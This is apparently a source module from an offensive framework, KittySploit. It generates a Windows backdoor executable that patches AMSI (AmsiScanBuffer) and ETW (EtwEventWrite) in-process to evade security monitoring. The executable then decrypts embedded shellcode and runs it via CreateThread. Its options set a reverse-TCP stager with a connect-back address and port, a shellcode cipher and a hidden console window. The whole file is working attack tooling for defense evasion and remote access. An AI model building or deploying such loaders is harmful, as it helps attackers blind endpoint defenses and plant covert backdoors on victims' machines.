ETW/AMSI Patch Evasion
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
In-process ETW/AMSI patch evasion loader.
Patches AmsiScanBuffer and/or EtwEventWrite in-process, decrypts embedded
shellcode, and executes via CreateThread.
"""
from kittysploit import *
from lib.compile.backdoor_helpers import build_encrypted_c_backdoor, option_value
from lib.compile.etw_amsi_patch import EtwAmsiPatchBuilder
class Module(Backdoor):
__info__ = {
"name": "ETW/AMSI Patch Evasion",
"description": (
"Generate a Windows x64 EXE that patches AMSI (AmsiScanBuffer) and/or "
"ETW (EtwEventWrite) in-process before decrypting and running shellcode."
),
"author": "KittySploit",
"platform": Platform.WINDOWS,
"arch": Arch.X64,
"references": [
"https://attack.mitre.org/techniques/T1562/001/",
],
}
payload_path = OptString(
"payloads/stagers/windows/x86/reverse_tcp",
"Payload module path (raw shellcode)",
True,
)
lhost = OptString("127.0.0.1", "Connect-back IP address (reverse payloads)", True)
lport = OptPort(4444, "Connect-back TCP port (reverse payloads)", True)
encoder = OptString("", "Encoder module path (optional)", False)
patch_amsi = OptBool(True, "Patch amsi.dll!AmsiScanBuffer", False)
patch_etw = OptBool(True, "Patch ntdll.dll!EtwEventWrite", False)
cipher = OptChoice("chacha", "Shellcode encryption type", True, ["chacha", "rc4"])
sleep = OptInteger(3000, "Sleep milliseconds after patching, before thread start", False)
output_name = OptString("etw_amsi_patch.exe", "Output executable filename", False)
optimization = OptChoice(
"ReleaseSmall",
"Zig optimization level",
False,
["Debug", "ReleaseFast", "ReleaseSafe", "ReleaseSmall"],
)
save_source = OptBool(False, "Save generated C source alongside the EXE", False, advanced=True)
windows_subsystem = OptChoice(
"windows",
"PE subsystem (windows hides console)",
False,
["windows", "console"],
)
def __init__(self, framework=None):
super().__init__()
self.framework = framework
def run(self):
if not option_value(self, "patch_amsi") and not option_value(self, "patch_etw"):
print_error("Enable at least one of patch_amsi or patch_etw.")
return False
builder = EtwAmsiPatchBuilder(
cipher=str(option_value(self, "cipher") or "chacha").lower(),
sleep_ms=int(option_value(self, "sleep") or 0),
)
ok = build_encrypted_c_backdoor(
self,
builder,
build_source_kwargs={
"patch_amsi": bool(option_value(self, "patch_amsi")),
"patch_etw": bool(option_value(self, "patch_etw")),
},
output_name="etw_amsi_patch.exe",
save_source_name="etw_amsi_patch.c",
)
if ok:
print_info(
f"AMSI patch: {option_value(self, 'patch_amsi')} | "
f"ETW patch: {option_value(self, 'patch_etw')} | "
f"Cipher: {option_value(self, 'cipher')}"
)
return ok
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